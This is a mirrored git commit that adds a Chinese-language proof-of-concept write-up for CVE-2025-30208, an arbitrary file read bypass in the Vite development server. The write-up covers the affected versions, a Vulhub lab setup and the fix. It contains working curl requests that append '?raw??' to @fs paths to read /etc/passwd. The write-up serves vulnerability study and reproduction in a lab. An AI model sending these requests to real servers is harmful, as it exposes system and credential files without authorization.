mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-07-30 06:24:27 +00:00
update CVE-2025-30208
This commit is contained in:
parent
7801bd4fa4
commit
c2c446b592
67
开发框架漏洞/Vite 开发服务器任意文件读取漏洞绕过 CVE-2025-30208.md
Normal file
67
开发框架漏洞/Vite 开发服务器任意文件读取漏洞绕过 CVE-2025-30208.md
Normal file
@ -0,0 +1,67 @@
|
||||
# Vite 开发服务器任意文件读取漏洞绕过 CVE-2025-30208
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Vite 是一个现代前端构建工具,为 Web 项目提供更快、更精简的开发体验。它主要由两部分组成:具有热模块替换(HMR)功能的开发服务器,以及使用 Rollup 打包代码的构建命令。
|
||||
|
||||
在 Vite 6.2.3、6.1.2、6.0.12、5.4.15 和 4.5.10 版本之前,用于限制访问 Vite 服务允许列表之外的文件的 `server.fs.deny` 功能可被绕过。通过在 URL 的 `@fs` 前缀后增加 `?raw??` 或 `?import&raw??`,攻击者可以读取文件系统上的任意文件。
|
||||
|
||||
此漏洞发生的原因是,在请求处理过程中尾部分隔符(如 `?`)在多个地方被移除,但在查询字符串正则表达式中没有考虑,导致安全检查被绕过。
|
||||
|
||||
这个漏洞是 [CNVD-2022-44615](https://github.com/vulhub/vulhub/blob/master/vite/CNVD-2022-44615/README.zh-cn.md) 补丁的绕过。
|
||||
|
||||
参考链接:
|
||||
|
||||
- [https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w](https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w)
|
||||
- [https://nvd.nist.gov/vuln/detail/CVE-2025-30208](https://nvd.nist.gov/vuln/detail/CVE-2025-30208)
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
6.2.0 <= Vite <= 6.2.2
|
||||
6.1.0 <= Vite <= 6.1.1
|
||||
6.0.0 <= Vite <= 6.0.11
|
||||
5.0.0 <= Vite <= 5.4.14
|
||||
Vite <= 4.5.9
|
||||
```
|
||||
|
||||
只有明确将 Vite 开发服务器公开到网络(使用 `--host` 或 `server.host` 配置选项)的应用程序才会受到影响。
|
||||
|
||||
## 环境搭建
|
||||
|
||||
Vulhub 执行以下命令启动 Vite 6.2.2 开发服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务器启动后,可以通过访问 `http://your-ip:5173` 来访问 Vite 开发服务器。
|
||||
|
||||
> 注意:旧版本 Vite 的开发服务器默认端口为 3000,新版本默认端口为 5173,请注意区分。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
尝试使用标准的 `@fs` 前缀访问 `/etc/passwd`,测试正常访问是否会被限制:
|
||||
|
||||

|
||||
|
||||
可见,当发送请求到 `http://your-ip:5173/@fs/etc/passwd` 时,你会收到 403 Forbidden 响应,因为这个路径在 Vite 服务的允许范围之外。
|
||||
|
||||
通过在 URL 后附加 `?raw??` 或 `?import&raw??`,你就可以绕过这个限制并获取文件内容:
|
||||
|
||||
```shell
|
||||
curl "http://your-ip:5173/@fs/etc/passwd?raw??"
|
||||
|
||||
# or
|
||||
curl "http://your-ip:5173/@fs/etc/passwd?import&raw??"
|
||||
```
|
||||
|
||||
这个请求将会返回 `/etc/passwd` 文件的内容:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
目前官方已发布新版本修复该漏洞,下载链接: https://github.com/vitejs/vite/releases
|
Binary file not shown.
After Width: | Height: | Size: 312 KiB |
Binary file not shown.
After Width: | Height: | Size: 523 KiB |
Binary file not shown.
After Width: | Height: | Size: 161 KiB |
Loading…
x
Reference in New Issue
Block a user